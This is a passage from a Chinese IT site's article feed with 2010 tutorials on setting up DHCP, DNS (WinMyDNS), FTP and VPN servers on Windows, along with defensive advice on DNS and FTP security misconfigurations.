<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 伴随着局域网组网规模的逐步扩大，局域网中的计算机数量也是不断增多，不少网络管理员为了快速为计算机分配IP地址，一般都会选择在局域网中架设DHCP服务器，来为局域网中的每一台计算机自动分配动态IP地址。随着WindowsServer 2008系统的推出，大家肯定想迫切知道在该系统环境下如何安装、配置DHCP服务器下面，就请各位一起来看看在WindowsServer 2008系统环境下架设DHCP服务器的具体步骤!
　　撩开DHCP服务面纱
　　在基于TCP/IP通信协议的网络中，每一台工作站都至少需要一个IP地址，才能与局域网中的其他工作站连接通信。为了便于统一管理和规划局域网网络中的IP地址，DHCP服务便应运而生了。所谓DHCP，其实是Dynamic Host Configure Protocol的缩写，它的中文含义也叫动态主机配置协议该协议是一种客户端-服务器技术，该技术允许DHCP服务器将其地址池中的IP地址自动分配给局域网中的每一台工作站，也允许局域网中的服务器租用其中的预留IP地址。
　　对于包含工作站数量比较多的单位网络来说，在更换或修改IP地址的时候，我们只需在DHCP服务器系统中，对它的作用域参数进行一下更改，就能自动更新DHCP客户端中的IP地址参数了，而根本不需要在每一台工作站上分别执行IP地址变更操作，那样一来就能有效降低单位局域网管理员的网络管理工作量，因为局域网中的所有工作站IP地址都被保存在DHCP服务器主机上的一个数据库中。
　　安装IPv4 DHCP服务器
　　一般来说，DHCP服务器往往都需要安装在有Windows 2000 Server以上版本的计算机系统中;并且，作为DHCP服务器的计算机系统必须安装使用TCP/IP协议，同时需要设置静态的IP地址、子网掩码，指定好默认网关地址以及DNS服务器地址等。对于Windows 2008 Server系统来说，在默认状态下DHCP服务器并没有被安装，为此我们可以先按照如下步骤来将DHCP服务器安装成功：
　　首先以超级管理员权限进入Windows 2008 Server系统，打开该系统的&amp;ldquo;开始&amp;rdquo;菜单，从中依次选择&amp;ldquo;程序&amp;rdquo;/&amp;ldquo;管理工具&amp;rdquo;/&amp;ldquo;服务器管理器&amp;rdquo;命令，在弹出的服务器管理器窗口中，单击左侧显示区域的&amp;ldquo;角色&amp;rdquo;选项，在对应该选项的右侧显示区域中，单击&amp;ldquo;添加角色&amp;rdquo;按钮，打开如图1所示的服务器角色列表窗口。

&amp;nbsp;

　　选中该列表窗口中的&amp;ldquo;DHCP服务器&amp;rdquo;选项，当然，要是Windows 2008 Server系统没有使用静态IP地址时，系统将会在选中&amp;ldquo;DHCP服务器&amp;rdquo;选项之后自动弹出提示窗口，告诉我们本地系统没有使用静态IP地址，并询问我们是否要继续安装DHCP服务器;此时，我们必须重新对Windows 2008 Server系统设置一个合适的静态IP地址，而不建议使用动态IP地址，因为DHCP服务器的IP地址要是发生变化时，那么局域网中的普通工作站将无法连接到DHCP服务器上。
　　选中&amp;ldquo;DHCP服务器&amp;rdquo;选项后，单击&amp;ldquo;下一步&amp;rdquo;按钮，屏幕上将会弹出DHCP服务器简介窗口(如图2所示);在这里，我们不但能够了解到DHCP服务器的作用，而且还能知道在安装DHCP服务器之前需要做好哪些准备工作;在确认自己的准备工作已经完成后，继续单击&amp;ldquo;下一步&amp;rdquo;按钮，在其后弹出的向导提示界面中，我们会看到系统要求指定好IPv4协议下的DNS服务器地址，这里设置的DNS服务器地址将会被集成到DHCP服务器中，日后当DHCP服务器更新IP地址信息的时候，相应的DNS更新会将计算机的名称到IP地址的关联进行同步。此外，在这里我们还需要设置好局域网客户端将用于名称解析的父域名，这个域将用于我们在这台DHCP服务器上创建的所有作用域。 #p#副标题#e#
　　
　　图 2
　　接着向导提示窗口会询问我们是否要设置WINS服务器地址参数，如果设置了该参数，那么该参数同样也会自动适用于局域网中的所有客户端，在默认状态下，DHCP服务器的安装向导程序会选中&amp;ldquo;此网络上的应用程序不需要WINS&amp;rdquo;选项(如图3所示);当然，要是本地局域网中确实存在WINS服务器时，那我们就可以选中这里的&amp;ldquo;此网络上的应用程序需要WINS&amp;rdquo;选项，之后正确设置好目标WINS服务器的IP地址。

&amp;nbsp;

　　下面，再单击向导提示窗口中的&amp;ldquo;下一步&amp;rdquo;按钮，在其后出现的设置窗口中，我们可以根据本地局域网的IP地址分配情况，合适设置好DHCP服务器的作用区域，也就是说设置好DHCP服务器的适用范围，因为只有创建好合适的作用域之后，DHCP服务器才能有效地将IP地址自动分配给局域网中的普通工作站;在进行这项设置操作时，我们可以单击该向导设置窗口中的&amp;ldquo;添加&amp;rdquo;按钮，打开如图4所示的添加作用域设置窗口，在该设置窗口的作用域名处指定好具体的DHCP作用域名称，在起始IP地址文本框中输入局域网网络的开始IP地址，在结束IP地址文本框中输入局域网网络的末尾IP地址，再将子网掩码地址、默认网关地址等参数设置成与Windows 2008 Server系统的相关参数相同就可以了，最后再设置好子网类型，同时选中&amp;ldquo;激活此作用域&amp;rdquo;选项，并单击&amp;ldquo;确定&amp;rdquo;按钮结束DHCP作用域的添加设置操作。
　　
　　图 4
　　接下来Windows Server 2008系统在默认状态下还增加了对下一代IP地址规范IPv6的支持，不过就目前的网络现状来说普通用户很少用到新的通信协议IPv6，所以当向导提示窗口要求我们配置此服务器的DHCPv6无状态模式参数时，我们可以选择&amp;ldquo;对此服务器禁用DHCPv6无状态模式&amp;rdquo;选项。
　　在确认上面的各项设置都正确后，我们再在之后的向导安装界面中单击&amp;ldquo;安装&amp;rdquo;按钮，随后Windows 2008 Server系统将会根据我们之前的设置要求，自动对DHCP服务器角色进行启动安装，要是发现上面的设置还存在一点问题时，我们还可以单击向导界面中的&amp;ldquo;上一步&amp;rdquo;按钮进行重新设置。安装结束后，Windows 2008 Server系统会弹出提示信息，告诉我们DHCP服务器是否已经安装成功，要是在安装的过程中出现了错误时，系统也会把存在的具体错误告诉我们，到时我们可以进入DHCP服务器的控制台窗口进行自行更改。
　　配置IPv4 DHCP服务器
　　当我们成功地在Windows Server 2008服务器系统中安装、启用了DHCP服务器后，日后肯定会在实际工作中要调整DHCP服务器的参数，以确保DHCP服务器能够更加高效地工作，那么在Windows Server 2008服务器系统环境下，我们究竟该如何来修改、配置IPv4 DHCP服务器的工作参数呢?其实很简单，我们只要按照如下步骤来进行就可以了：
　　首先以超级管理员权限进入Windows 2008 Server系统，打开该系统的&amp;ldquo;开始&amp;rdquo;菜单，从中依次点选&amp;ldquo;程序&amp;rdquo;/&amp;ldquo;管理工具&amp;rdquo;/&amp;ldquo;DHCP&amp;rdquo;命令，打开DHCP服务器管理界面;在该管理界面中，我们已经看到之前创建成功的IPv4作用域了，要是我们还想增加新的作用域时，可以用鼠标右键单击IPv4选项，从弹出的快捷菜单中执行&amp;ldquo;新建作用域&amp;rdquo;命令，之后在添加作用域设置对话框中按需设置好新作用域的名称以及起始IP地址和末尾IP地址等。要是我们想对之前已经创建好的作用域参数进行调整时，可以先用鼠标右键单击相应的作用域，从弹出的右键菜单中单击&amp;ldquo;属性&amp;rdquo;命令，打开对应作用域的属性设置窗口，在该设置窗口中我们可以对目标作用域的各个参数进行更改，例如可以更改作用域的名称，更改子网类型，更改地址池的范围等。 #p#副标题#e#
　　要是我们想为局域网中特定的服务器或其他计算机保留IP地址，以便确保它们始终能够从DHCP服务器中获得同一个IP地址的时候，我们还能针对这个目标作用域新建保留;在创建目标作用域的保留地址时，我们可以先用鼠标右键单击目标作用域名称，从弹出的快捷菜单中执行&amp;ldquo;新建保留&amp;rdquo;命令，在其后出现的设置窗口中输入特定服务器或其他计算机的IP地址和网卡MAC地址，最后单击&amp;ldquo;确定&amp;rdquo;按钮就可以了。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O416310C410-19431_lit.jpg </image>
<keywords>服务器,配置,巧妙,DHCP,地址,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>DNS服务器架设：winmydns </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9752.html </link>
<description>一、您必须有一个属于您自已的域名。比如：abc.com。没有域名的必须先注册一个域名。 二、在国际域名中心注册一个DNS域名，以使您的DNS服务器在全球有效。 1、在域名注册商（如新网，新网互联）的域名控制面板里一个注册本域名下的DNS的功能。 2、点击进去 </description>
<text>一、您必须有一个属于您自已的域名。比如：abc.com。没有域名的必须先注册一个域名。
二、在国际域名中心注册一个DNS域名，以使您的DNS服务器在全球有效。 
1、在域名注册商（如新网，新网互联）的域名控制面板里一个&amp;ldquo;注册本域名下的DNS&amp;rdquo;的功能。 
2、点击进去添加两个DNS，如ns1.abc.com及ns2.abc.com，IP地址填写您的安装winmydns的服务器IP地址。 
3、在 http://www.internic.com/whois.html页面填入您的DNS域名，如ns1.abc.com，选择&amp;quot;Nameserver&amp;quot;，点submit看看您注册的DNS有没有生效。（一般是48小时生效）
再次、新注册域名时，在DNS服务器框里填写您自已的ns1.abc.com及ns2.abc.com，不要使用域名注册商默认的。如果是已注册的域名，请修改域名的DNS服务器为ns1.abc.com及ns2.abc.com。
三、以上工作完成后安装winmydns软件，解压到哪个盘就是安装到哪个盘的，尽量不要解压到c盘.
安装使用
1、运行&amp;quot;安装服务.bat&amp;quot;安装WinMyDNS服务。 
2、恢复数据库。 
如果使用ACCESS数据库的跳过该步。 
如果使用MSSQL数据库的，请把&amp;quot;DB/WinMyDNS.BAK&amp;quot;的MSSQL数据库备份文件恢复到MSSQL中，以创建WinMyDNS数库。 
3、运行WinMyDNSAdmin.exe程序，选持&amp;quot;数据库设置&amp;quot;页，设置数据库类型。 
使用ACCESS数据库的,在ACCESS数据库文件中填写:DB/WinMyDNS.mdb； 
使用MSSQL数据库的,请配置MSSQL的链接参数。 
启动WinMyDNS服务。 
4、配置WEB管理程序。 
修改conn.asp中的数据库链接参数。 

    
        
            &amp;nbsp;'WinMyDNS数据库链接参数,请在这里手工修改 
            '################################################################################# 
            WinMyDNSDbType=&amp;quot;0&amp;quot; '数据为类型,0:Access,1:mssql数据库 
            WInMyDNSAccessFile=&amp;quot;.. /WinMyDNS.MDB&amp;quot;'Access数据库文件名 
            WinMyDNSDbIP = &amp;quot;localhost&amp;quot; 'WINIIS_Server 数据库IP地址 
            WinMyDNSDbName=&amp;quot;WinMyDNS&amp;quot; 'WINIIS_Server 数据库名 
            WinMyDNSDbUser=&amp;quot;sa&amp;quot; 'WINIIS_Server 数据库用户名 
            WinMyDNSDbPass=&amp;quot;linyang&amp;quot; 'WINIIS_Server 数据库密码 
            WinMyDNSURL=&amp;quot;url.winmydns.com&amp;quot; 'winmydns URL转发服务器的域名 
            '################################################################################## 
            
        
    


在IIS管理器是创建一个网站或虚拟目录指向WEB目录。然后访问index.asp页面,默认是用户名:admin,密码123456 
登录进去之后,可以进行DNS解析管理。
5、URL转发服务器设置（不需要URL转发功能不可以不用设置)。 
找一台服务器做为URL转发服务器。并且把IIS的默认站点（主机头为空的那个站点）的主目录指向到URL目录，并把index.asp设置为默认首页。 
修改URL/index.asp中的数据库链接参数。与上一步WEB/CONN.asp相同。 
注意正确填写 WinMyDNSURL参数，如:url.abc.com。并把解析一条url.abc.com的A记录指向到URL转发服务器。
五、安装完毕后测试看winmydns是不是正常工作的，如下测试： 
1.使用netstat命令查看DNS是否在UDP的53端口工作 
使用netstat命令检查53端口是否打开：开始-&amp;gt;运行-&amp;gt;cmd.exe然后输入netstat -an -p udp如下：


    
        
            &amp;nbsp;
            C:\Documents and Settings\Administrator&amp;gt;netstat -an -p udp
            Active Connections
            Proto Local Address Foreign Address State 
            UDP 0.0.0.0:445 *:* 
            UDP 0.0.0.0:1434 *:* 
            UDP 0.0.0.0:3456 *:* 
            UDP 127.0.0.1:1046 *:* 
            UDP 127.0.0.1:1047 *:* 
            UDP 127.0.0.1:1082 *:* 
            UDP 192.168.1.158:9 *:* 
            UDP 192.168.1.158:53 *:* 
            UDP 192.168.1.158:137 *:* 
            UDP 192.168.1.158:138 *:* 
            UDP 192.168.1.158:500 *:* 
            UDP 192.168.1.158:4500 *:* 
            UDP 192.168.1.158:6163 *:* 
            UDP 192.168.21.1:53 *:* 
            UDP 192.168.21.1:137 *:* 
            UDP 192.168.21.1:138 *:* 
            UDP 192.168.21.1:500 *:* 
            UDP 192.168.21.1:4500 *:* 
            UDP 192.168.21.1:30653 *:* 
            UDP 192.168.137.1:53 *:* 
            UDP 192.168.137.1:137 *:* 
            UDP 192.168.137.1:138 *:* 
            UDP 192.168.137.1:500 *:* 
            UDP 192.168.137.1:4500 *:* 
            UDP 192.168.137.1:64677 *:*
            C:\Documents and Settings\Administrator&amp;gt;
            
            &amp;nbsp;
        
    


如果winmydns工作正常。会在相应的IP有一条53的进示。如上面的记录： UDP 192.168.1.158:53 *:*。如果没有53端口被打开。请在WinMyDNSAdmin.exe里启动一下winmydns服务。
2.使用nslookup命令测试DNS解析是否正常 
先确认域名的DNS器是否为您公司的DNS服务器。国际域名请到 http://www.internic.com/whois.html查询。国内域名请到 www.cnnic.cn查询。 
使用nslookup命令检查您的DNS服务器是否解析正常：开始-&amp;gt;运行-&amp;gt;cmd.exe然后输入nslookup如下：


    
        
            &amp;nbsp;C:\Documents and Settings\Administrator&amp;gt;nslookup 
            Default Server: dns.fz.fj.cn 
            Address: 202.101.98.55 
            &amp;gt; server 192.168.1.158 
            Default Server: [192.168.1.158] 
            Address: 192.168.1.158
            &amp;gt; www.abc.com 
            Server: [192.168.1.158] 
            Address: 192.168.1.158
            Name: www.abc.com 
            Address: 210.72.225.179
            &amp;gt; set type=mx 
            &amp;gt; mail.abc.com 
            Server: [192.168.1.158] 
            Address: 192.168.1.158
            DNS request timed out. 
            timeout was 2 seconds. 
            DNS request timed out. 
            timeout was 2 seconds. 
            *** Request to 192.168.1.158 timed-out 
            &amp;gt;
            
            &amp;nbsp;
        
    


使用server 命令nslookup指向到您的DNS服务器进行查询。 
使用set type=MX 或set type=A等命令查询指示查询的DNS类型。 
直接输入 www.abc.com等域名查询DNS解析结果。如果是A记录会出来IP地址。如果MX记录，会出来邮箱交换域名。 </text>
<image> </image>
<keywords>DNS服务器,架设,winmydns,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>DNS（Domain Name System）即域名系统是历史悠久的方法，它可以 </title>
<link>http://www.itxia.com/plus/view.php?aid=9753 </link>
<description> </description>
<text> </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>FTP服务器架设需要考虑三方面的安全因素 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9754.html </link>
<description>架设FTP服务器，一向是把安全放在首位，特别是利用IIS之类工具建立起来的FTP服务器更是如此。如果设置不当遭受到恶意攻击，那造成整个服务器系统崩溃也绝不是危言耸听的! 因此，采取合理、周全的安全管理是很有必要的。 我们就从IIS的安全说起。 IIS，从NT系 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 架设FTP服务器，一向是把
安全
放在首位，特别是利用IIS之类工具建立起来的FTP服务器更是如此。如果设置不当遭受到恶意攻击，那造成整个服务器系统崩溃也绝不是危言耸听的! 因此，采取合理、周全的安全管理是很有必要的。


我们就从IIS的安全说起。 

IIS，从NT系统内核开始成为自带的重要信息发布载体，但其不可避免的漏洞也在不少的资料里提及。IIS用作FTP服务器架设，主要是其简单易懂的设置赢得不少人青睐；因此，要用好IIS，我们得从下面这些方面来考虑其安全问题：&amp;nbsp;
　　1．尽量不要使用21这个默认端口号，并启用日志，以便FTP服务出现异常时检查。 

2．安装系统补丁。微软网站经常在其官方网发布最新的系统安全补丁，大家可以用系统自带的windows update程序随时更新。 

3．FTP目录的设定。比较常见的就是将主目录指定到逻辑盘，再对每个细目录按不同的用户设置不同的访问权限，并关闭一些不需要的服务，这可以对不良人士利用IIS溢出漏洞访问到系统盘作个第一级防护。 

另一款FTP架设软件Serv_U。 

感觉此款软件在安全性方面做得比较好，其设置也不易出错，笔者用过一段时间感觉其速度也比IIS要快得多。即使这样，同样也应注意其正确的配置： 

1．有关域中服务器密码设定。 

Serv_U提供了三种安全密码类型：规则密码、OTPS/KEY MD4和OTPS/KEY MD5，不言而喻，规则密码的安全性是最低的。一般我们设置好了有管理权限的账户后，再在&amp;ldquo;常规&amp;rdquo;选项卡下打开&amp;ldquo;密码类型&amp;rdquo;下拉框，从中选择后两种类型相对要安全得多。
　　2．跟IIS一样，最好也将主目录移到其它分区，同时在为用户设置权限时最好先设低点，等需要时再设定写入、修改等权限；并将服务日志以文件形式保 存，以便日后查阅。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3．选中&amp;ldquo;拦截FTP_bounce攻击和FXP&amp;rdquo;。FXP也称跨服务器攻击，简单的说： 

当恶意用户通过在PORT命令中加入特定的地址信息，会使FTP服务器与其它非客户端的机器建立连接，而如果FTP服务器有权访问那些非客户端的电脑时，那就可以通过FTP服务器这个&amp;ldquo;中介机构&amp;rdquo;，实现与目标服务器的连接! 
&amp;nbsp;

说了架设软件，再来说操作系统本身。 

考虑到FTP服务器的安全性，所以最好是采用Win2000服务器版、winxp或是Windows2003企业版，并注意随时下载安全补丁升级。 

1．可以用系统自带的&amp;ldquo;Internet连接防火墙&amp;rdquo;功能进行安全设置。打开&amp;ldquo;本地连接&amp;rdquo;属性对话框，进入&amp;ldquo;高级&amp;rdquo;选项卡，将&amp;ldquo;通过限制或阻止来自Internet的对此计算机的访问来保护我的计算机和网络&amp;rdquo;打勾；然后点右下角的&amp;ldquo;设置&amp;rdquo;按钮进入&amp;ldquo;高级设置&amp;rdquo;，选中&amp;ldquo;FTP服务器&amp;rdquo;再点编辑，如图所示，除了IP地址一栏外，其余选项都不能更改。如果你预先设置的FTP服务器端口不是其默认的21，请返回上一步在&amp;ldquo;服务&amp;rdquo;选项卡下方点&amp;ldquo;添加&amp;rdquo;，输入服务器名称和IP地址，并将外部内部端口号填入你的预设值即可。 

2．&amp;ldquo;TCP/IP筛选&amp;rdquo;功能。依次进入&amp;ldquo;本地连接&amp;rdquo;---&amp;ldquo;常规&amp;rdquo;---&amp;ldquo;Internet协议（TCP/IP）&amp;rdquo;，然后双击打开，再点&amp;ldquo;高级&amp;rdquo;按钮，切换到&amp;ldquo;选项&amp;rdquo;即可开始设置。如下图所示，这里我们可以设置系统只允许开放的端口，这种筛选设置可以有效防止最常见的如１３９端口的入侵，但该方法缺点同样明显：功能过于简单，只能设置允许开放的端口，不能自定义要关闭的端口，如需开放多个端口还要一一手工添加，比较麻烦。 

服务器安全是个永远也说不完的话题，关键还是要大家在实际管理中多多总结经验，不断累积。通过以上的基本管理设置后，你的FTP应该具备了一定的安全保障，可以放心的投入使用了! </text>
<image> </image>
<keywords>安全,因素,三方面,考虑,服务,ftp,服务器,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>危害DNS服务器安全部署七宗罪 </title>
<link>http://www.itxia.com/a/computer/network/2010/0718/9755.html </link>
<description>DNS（Domain Name System）即域名系统是历史悠久的方法，它可以为具有IP地址的计算机分配域名，使计算机拥有字符型名称，如如IP地址为207.46.193.254的计算机即微软服务器www.microsoft.com。DNS采用了设计精良，多数时间运行都相当出色。然而，总有一些不如 </description>
<text>DNS（Domain Name System）即域名系统
&amp;nbsp;
是历史悠久的方法，它可以为具有IP地址的计算机分配域名，使计算机拥有字符型名称，如如IP地址为207.46.193.254的计算机即微软服务器www.microsoft.com。DNS采用了设计精良，多数时间运行都相当出色。然而，总有一些不如人意的情况，它会罢工，让管理员们头痛不已。那么如何查找其故障的蛛丝马迹？你的DNS系统
&amp;nbsp;
中有哪些不尽如人意的地方？ 

有没有一些规律性的东西可以遵循？答案是肯定的，我们这儿给出DNS服务器的七大罪状，供您参考： 
1.将所有重要的域名服务器放置到同一个子网中。 
在这种情况下，一个设备的故障，如一台交换机或路由器，或一个网络连接的故障就会使互联网上的用户无法访问你的网站或向你发送电子邮件。
&amp;nbsp;
2.使用老版本的BIND。 
Bind作为一款开放源码的DNS服务器软件,是目前世界上使用最为广泛的DNS服务器软件。几乎多数 BIND  的老版本都存在着严重的、众所周知的漏洞
&amp;nbsp;
。攻击者可以利用这些漏洞将我们的DNS域名服务器搞毁，并可以借此侵入运行它们的主机。因此应确保使用最新的 BIND，并及时打补丁。

3.允许那些未获得授权的辅助域名服务器进行区域传送。 
区域传送（Zone Transfer）是指在多个DNS服务器之间复制区域数据库文件的过程。如果为任意的查询者提供区域传送服务，就会把域名服务器暴露给攻击者，导致服务器瘫痪。
4.
允许对未授权查询者的递归。 
&amp;nbsp;
如果设置为下面这种情况：
（recursion yes|no; [yes]
allow-recursion  { address_match_list }; [all hosts]
则是不安全的。在这里，recursion选项指定 named是否代替客户机查询其他域名服务器。通常不把域名服务器设置成关闭递归。至少我们应该对自身的客户机允许递归，但对外来查询禁止递归。因为如果 可以为任意一个客户端处理递归查询，将会将域名服务器暴露给缓存投毒(Cache poisoning)和拒绝服务攻击。 

5.错误地设置授权开始（Start of Authority ：SOA）值。 
SOA 标记区数据的开始,定义影响整个区的参数。许多管理员将区的值设得太低了，在刷新查询或区域传送开始失效时，这会导致系统
&amp;nbsp;
运转的中断。自从RFC重新定义了SOA之后，还有一些人重置了逆向缓存（negative caching）TTL，结果又导致其值太高。 

6.授权与区域数据中的不匹配的NS记录。 
有一些管理员添加或删除了首要的域名服务器，却忘了对其区域的委托授权数据（即所谓的delegation data）作相应的改变。这样就会延长其解析域名时间，并会减少弹性。
7.没有采用DNS转发器。 
DNS转发器是代表其他DNS服务执行DNS查询的服务器。许多域名服务器软件，包括微软的DNS  Servers和一些更老的BIND域名服务器，并没有充分地保护自身以抵御缓存投毒，其它的DNS服务器软件也都存在着可被恶意响应利用的漏洞。但是许 多管理员却允许这些域名服务器直接查询互联网上的其它域名服务器，根本不使用转发器。

当然，这些仅是管理员可能犯的一些一般性错误，不过却可以作为你配置DNS服务器的基本参考 </text>
<image> </image>
<keywords>安全,部署,服务器,危害,dns,IT侠 </keywords>
<category>IT侠网络 </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows XP系统下架设FTP服务器的步骤 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9756.html </link>
<description>如今家庭应该是普遍使用包月的宽带接入Internet了，我们在充分享受极速冲浪的快感时，是否考虑过利用现有资源为自己做点什么呢？对啦，今天本文的目的就是带大家在本机上架设一个FTP服务器，建立这种服务器用于远程资源共享实在是个不二的选择!以下架设步骤主 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如今家庭应该是普遍使用包月的宽带接入Internet了，我们在充分享受极速冲浪的快感时，是否考虑过利用现有资源为自己做点什么呢？对啦，今天本文的目的就是带大家在本机上架设一个FTP服务器，建立这种服务器用于远程资源共享实在是个不二的选择!以下架设步骤主要以windows XP系统为例。 

如今的国内电信运营商已经把宽带的资费调整到了一个容易被大家接受的水平了，人们在享受宽带带给我们的便利与迅捷的同时，越来越多的人开始考虑是不是应该利用现有的充足资源来做更多的事情。很多人把目标瞄准了FTP服务器。的确，利用FTP来对远程资源共享确实是一个非常不错而且便捷的办法。下面小编以Windows Xp为例，为大家讲解FTP的基本架设技巧。 

热身阶段： 
在开始动手之前别忙，我们得先让自己的电脑在网上找个地方住下---申请域名。想让朋友在茫茫网海中找到你这台计算机是通过IP地址来实现的，而目前大多数包月宽带提供的都是一个动态IP，也就是说每次拨号接入时的IP地址都不样，你不可能IP地址改变一次就通知朋友一次吧!解决此问题的常用方法就是申请一个免费域名，推荐到http://www.oray.net/申请。 

第一步：申请网域护照(即帐户)，开通免费域名。 
连接到http://www.oray.net/，在页面左边点击&amp;ldquo;注册护照&amp;rdquo;，按照提示完成注册即可。然后在左面再点&amp;ldquo;域名服务中心&amp;rdquo;，选择下拉菜单的&amp;ldquo;注册域名记录&amp;rdquo;，之后在&amp;ldquo;免费域名&amp;rdquo;框内输入你的个性域名就行了。 
第二步：本机安装动态域名解析软件。 
即花生壳客户端，下载：http://www.oray.net/Products/PeanutHull_Support.asp。下载完成后同样按提示安装，在到如下图的步骤时，请输入我们刚才在网站上注册的帐户及密码。

&amp;nbsp;填入网域护照 

一路继续&amp;ldquo;下一步&amp;rdquo;，安装完毕软件会自动启动，至此动态IP地址的问题已经解决，你的电脑已经可以在网海中找到了。接下来就可以正式配置FTP服务了! 

架设阶段： 

一般在windows平台上，常用的做FTP服务器的方式就是使用系统自带的IIS、以及第三方软件serv-u。而关于这两类方法的异同，大家可以参阅IT168的相关报道。主要就是：IIS设置相对简单，但安全性不高；而serv-u相对来说安全性要高得多。以下为IIS的架设过程。 

如果你是建个小型的FTP服务器(同时访问人数不超过20个的那种)，且不会同时进行大流量的数据传输(比如音视频)，那么这种方式是最简便易行的，不过注意操作系统版本哟，IIS只适用于Windows NT/2000/XP系统。 

第一步：安装IIS组件。 

一般系统安装时都没有安装此组件的，所以请到控制面板，在&amp;ldquo;添加/删除程序&amp;rdquo;里打开&amp;ldquo;添加/删除Windows组件&amp;rdquo;一项，在弹出的窗口里将&amp;ldquo;intenet信息服务(IIS)&amp;rdquo;选中；再点右下角&amp;ldquo;详细信息&amp;rdquo;，勾选&amp;ldquo;文件传输协议(FTP)服务&amp;rdquo;，最后确定即可。 

第二步：设定需要共享的目录路径。 

此目录就是别人访问你的FTP服务器时看到的文件列表。在控制面板的管理工具里，打开&amp;ldquo;internet信息服务&amp;rdquo;。在窗口左面找到&amp;ldquo;FTP站点&amp;rdquo;并打开下拉列表，之后在&amp;ldquo;默认FTP站点&amp;rdquo;上点右键选属性，切换到如下图所示的&amp;ldquo;主目录&amp;rdquo;选项卡。在&amp;ldquo;本地路径&amp;rdquo;框中的地址为默认FTP共享目录，请点击浏览指定到你的实际共享目录；另外在这里还可以设置FTP服务器的文件访问权限，为安全考虑，一般我们只开放读取权限，以防匿名用户随意修改目录文件，合法用户有需要时才针对性的打开&amp;ldquo;写入&amp;rdquo;权限。
&amp;nbsp;
 
主目录路径指定
&amp;nbsp;
第三步：完善配置。 

在&amp;ldquo;默认FTP站点&amp;rdquo;窗口里切换到&amp;ldquo;安全帐户&amp;rdquo;，去掉&amp;ldquo;允许匿名连接&amp;rdquo;前的勾；在消息选项卡中可设定当用户访问、退出你的FTP服务器时出现的提示信息，随你喜欢写吧!还有个&amp;ldquo;最大连接数&amp;rdquo;的设定，它是指同时连接本地FTP的最多主机台数，如果你的电脑配置不是很好的话，建议不要超过5。 

经过以上三步正确的配置后，你的FTP服务器应该已经在工作了。为保险起见，我们可以在本机先测试一下访问是否正常，方法很简单：在浏览器的地址栏里输入(ftp://你在花生壳中申请的免费域名)，如果能看到你在IIS&amp;ldquo;主目录&amp;rdquo;中设定的路径下的目录和文件，那就成功了。 

补充：在安全用户设置中，IIS与其他专业的FTP服务器软件不同，它是基于Windows用户帐号进行管理，而本身并不支持随意设定允许访问帐户的；要添加或删除某个允许访问的帐户，必须先在控制面板的&amp;ldquo;管理工具&amp;rdquo;中的&amp;ldquo;计算机管理&amp;rdquo;里去设置，然后再通过IIS&amp;ldquo;安全账户&amp;rdquo;选项卡中的&amp;ldquo;FTP站点操作员&amp;rdquo;选项添加或删除。 

IIS设置简单，实现过程迅速，比较适合初次玩服务器应用的用户使用；当用过IIS一段时间并积累了相当的经验后，就可采用一些第三方功能强大的软件，再配合FTP防火墙相关知识来建。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41632120120-15Z3_lit.jpg </image>
<keywords>服务器,步骤,系统,ftp,架设,windows,xp,IT </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows下VPN服务器故障排查方法 </title>
<link>http://www.itxia.com/a/computer/network/2010/0718/9757.html </link>
<description>在企业的日常工作中，VPN是一种比较方便实用的组网方式。通过VPN可以屏蔽地理局限，特别适合地域跨度较大的公司。因此对VPN服务器的维护是网络工程师们比较重要的工作之一，本文将介绍几种常见诊断VPN故障的方法，希望对各位网络工程师有所帮助。 Windows远程 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在企业的日常工作中，VPN是一种比较方便实用的组网方式。通过VPN可以屏蔽地理局限，特别适合地域跨度较大的公司。因此对VPN服务器的维护是网络工程师们比较重要的工作之一，本文将介绍几种常见诊断VPN故障的方法，希望对各位网络工程师有所帮助。　　 

Windows远程接入服务器允许VPN客户进行身份识别并且透明地连接到内部网络，就像直接连接到网络一样。这能够使用户以安全的方式进行远程工作。本文主要介绍在检查VPN连接故障时应该在服务器端解决的一些常见问题。 

当一个VPN用户进行连接时，远程接入服务器有几个方面容易产生问题。VPN服务器必须进行恰当的设置以便允许远程接入。假如用户遇到连接问题，你要验证这个客户机的设置是正确的并且验证最终用户具有连接到这台服务器的能力。你可以按照如下步骤操作: 

1.验证这台服务器已经启用了允许远程接入的功能。 

按如下步骤操作: 

检查路由和远程接入插件--&amp;gt;属性--&amp;gt;常规，并且验证远程接入服务器对话框已经选定。 

2.验证身份识别提供商。 

检查路由和远程接入插件--&amp;gt;属性--&amp;gt;安全，并且验证是否选择了RADIUS或者Windows身份识别。 

3.验证身份识别的方法。 

检查路由和远程接入插件--&amp;gt;属性--&amp;gt;安全，并且选择证书机制。这通常是某种形式的挑战握手验证协议(CHAP)。这个服务器还有其它必须恰当地配置的设置，包括IP路由、DHCP和PPP等IP设置。这些设置的验证步骤如下: 

1.)验证这台服务器已经启用了允许IP路由的功能。 

采取如下步骤: 

